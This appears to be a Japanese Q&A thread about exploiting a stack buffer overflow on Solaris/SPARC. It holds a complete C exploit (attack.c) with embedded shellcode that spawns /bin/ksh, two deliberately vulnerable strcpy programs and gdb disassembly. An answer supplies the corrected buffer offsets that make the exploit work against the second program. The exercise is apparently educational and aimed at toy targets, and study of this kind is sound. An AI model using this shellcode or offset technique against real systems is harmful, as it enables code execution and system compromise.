5
/* attack.c */
/* compile: cc -o attack attack.c */
#include <stdlib.h>
#include <stdio.h>

/* lsd - Solaris shellcode */
static char shell[] =        /* 10*4+8 bytes */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x20\xbf\xff\xff"   /* bn,a  */
        "\x7f\xff\xff\xff"   /* call  */
        "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
        "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
        "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
        "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
        "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
        "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
        "\x91\xd0\x20\x08"   /* ta 8 */
        "/bin/ksh" ;

#define BUFSIZE 464
#define DUFSIZE 456

/* SPARC NOP */
static char np[] = "\xac\x15\xa1\x6e";

unsigned long get_sp( void ){ asm("or %sp,%sp,%i0"); }

main( int argc, char *argv[] ) {

        char buf[ BUFSIZE+1 ],*ptr;
        unsigned long ret,sp;
        int rem,i,err;
        ret = sp = get_sp();

        /* align return address */
        if( ( rem = ret % 8 ) ){ ret &= ~(rem); }

        bzero( buf, BUFSIZE );
        for(i = 0; i < BUFSIZE; i += 4)
          strcpy( &buf[i], np );

        memcpy( (buf + BUFSIZE - strlen( shell ) - 8), shell, strlen( shell ));

        ptr = &buf[DUFSIZE];

        /* set fp to a save stack value */
        *( ptr++ ) = ( sp >> 24 ) & 0xff;
        *( ptr++ ) = ( sp >> 16 ) & 0xff;
        *( ptr++ ) = ( sp >> 8 ) & 0xff;
        *( ptr++ ) = ( sp ) & 0xff;

        /* overwrite saved PC */
        *( ptr++ ) = ( ret >> 24 ) & 0xff;
        *( ptr++ ) = ( ret >> 16 ) & 0xff;
        *( ptr++ ) = ( ret >> 8 ) & 0xff;
        *( ptr++ ) = ( ret ) & 0xff;

        buf[ BUFSIZE ] = 0;

        //err = execl( "./server1", "server1", buf, ( void *)0 );
        err = execl( "./server2", "server2", buf, ( void *)0 );
        if( err == -1 ) perror("execl");
}

Attack.cをコンパイルして実行すると、server1.cの脆弱性を悪用することができます。

/* server1.c */
/* compile: cc -o server1 server1.c */
void copy(const char *a){
    char foo[400];
    int i, j, k;
    strcpy(foo, a);
    i = 1;
}

void main(int argc, char *argv[]){

    if(argc >=2 )copy( argv[1] );
}

しかし、attack.cはserver2では同じことをしません。なぜですか?

/* server2.c */
/* compile: cc -o server2 server2.c */
void copy2( const char *a ){
    char buf[200];
    int i, j, k;
    strcpy(buf,a);
    i = 1;
}

void copy1(const char *a){
    char foo[200];
    int i, j, k;
    copy2(a);
    i = 1;
}

void main( int argc, char *argv[] ) {

    if (argc >=2 )copy1( argv[1] );
}

server2.cのアセンブリは次のとおりです。

(gdb) disas copy2
Dump of assembler code for function copy2:
0x00010bd8 <copy2+0>:   save  %sp, -304, %sp
0x00010bdc <copy2+4>:   add  %fp, -200, %o0
0x00010be0 <copy2+8>:   call  0x20ce8 <strcpy@plt>
0x00010be4 <copy2+12>:  mov  %i0, %o1
0x00010be8 <copy2+16>:  mov  1, %l0
0x00010bec <copy2+20>:  st  %l0, [ %fp + -204 ]
0x00010bf0 <copy2+24>:  ret 
0x00010bf4 <copy2+28>:  restore 
0x00010bf8 <copy2+32>:  ret 
0x00010bfc <copy2+36>:  restore 
0x00010c00 <copy2+40>:  illtrap  0x10000
0x00010c04 <copy2+44>:  illtrap  0x10000
0x00010c08 <copy2+48>:  illtrap  0x10000
0x00010c0c <copy2+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas copy1
Dump of assembler code for function copy1:
0x00010c10 <copy1+0>:   save  %sp, -304, %sp
0x00010c14 <copy1+4>:   call  0x10bd8 <copy2>
0x00010c18 <copy1+8>:   mov  %i0, %o0
0x00010c1c <copy1+12>:  mov  1, %l0
0x00010c20 <copy1+16>:  st  %l0, [ %fp + -204 ]
0x00010c24 <copy1+20>:  ret 
0x00010c28 <copy1+24>:  restore 
0x00010c2c <copy1+28>:  ret 
0x00010c30 <copy1+32>:  restore 
0x00010c34 <copy1+36>:  illtrap  0x10000
0x00010c38 <copy1+40>:  illtrap  0x10000
0x00010c3c <copy1+44>:  illtrap  0x10000
0x00010c40 <copy1+48>:  illtrap  0x10000
0x00010c44 <copy1+52>:  illtrap  0x10000
End of assembler dump.
(gdb) disas main 
Dump of assembler code for function main:
0x00010c48 <main+0>:    save  %sp, -96, %sp
0x00010c4c <main+4>:    cmp  %i0, 2
0x00010c50 <main+8>:    bl  0x10c68 <main+32>
0x00010c54 <main+12>:   nop 
0x00010c58 <main+16>:   call  0x10c10 <copy1>
0x00010c5c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c60 <main+24>:   ret 
0x00010c64 <main+28>:   restore 
0x00010c68 <main+32>:   ret 
0x00010c6c <main+36>:   restore 
End of assembler dump.

そしてserver1.cの場合:

(gdb) disas copy
Dump of assembler code for function copy:
0x00010bc0 <copy+0>:    save  %sp, -504, %sp
0x00010bc4 <copy+4>:    add  %fp, -400, %o0
0x00010bc8 <copy+8>:    call  0x20c98 <strcpy@plt>
0x00010bcc <copy+12>:   mov  %i0, %o1
0x00010bd0 <copy+16>:   mov  1, %l0
0x00010bd4 <copy+20>:   st  %l0, [ %fp + -404 ]
0x00010bd8 <copy+24>:   ret 
0x00010bdc <copy+28>:   restore 
0x00010be0 <copy+32>:   ret 
0x00010be4 <copy+36>:   restore 
0x00010be8 <copy+40>:   illtrap  0x10000
0x00010bec <copy+44>:   illtrap  0x10000
0x00010bf0 <copy+48>:   illtrap  0x10000
0x00010bf4 <copy+52>:   illtrap  0x10000
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x00010bf8 <main+0>:    save  %sp, -96, %sp
0x00010bfc <main+4>:    cmp  %i0, 2
0x00010c00 <main+8>:    bl  0x10c18 <main+32>
0x00010c04 <main+12>:   nop 
0x00010c08 <main+16>:   call  0x10bc0 <copy>
0x00010c0c <main+20>:   ld  [ %i1 + 4 ], %o0
0x00010c10 <main+24>:   ret 
0x00010c14 <main+28>:   restore 
0x00010c18 <main+32>:   ret 
0x00010c1c <main+36>:   restore 


End of assembler dump.

server2.cを悪用するには、attack.cで何を変更する必要がありますか?

4

3 に答える 3

5

pfff...ついに。

#define BUFSIZE 464
#define DUFSIZE 256

オフセットは8だと思いましたが、200+8です。

于 2011-04-17T17:53:52.027 に答える
1

コンパイラは、未使用であるためにスペースを割り当てない可能foo[]性がありcopy1()ます。確実に知る唯一の方法は、実行可能ファイル用に生成されたアセンブラコードを確認することです。

于 2011-04-17T16:10:00.160 に答える
0

copy2()は呼び出し先でcopy1()あり、呼び出し元であり、のスタックフレームcopy1は以下であるため、私の理解に基づいてcopy2、バッファのサイズを与えるfooとbuffに割り当てられたバイトの合計を見つけます。次に、バフのサイズに値を追加してオフセット値を取得します。この値は、シェルコードを導入する場所であるため、呼び出し先でバッファオーバーフロー命令が呼び出されているポイントと、呼び出し先への呼び出しが行われた直後の呼び出し元のリターンアドレスとのアドレスの差を計算することで得られます。バフサイズ+32+ 32-8

于 2012-04-18T18:04:15.090 に答える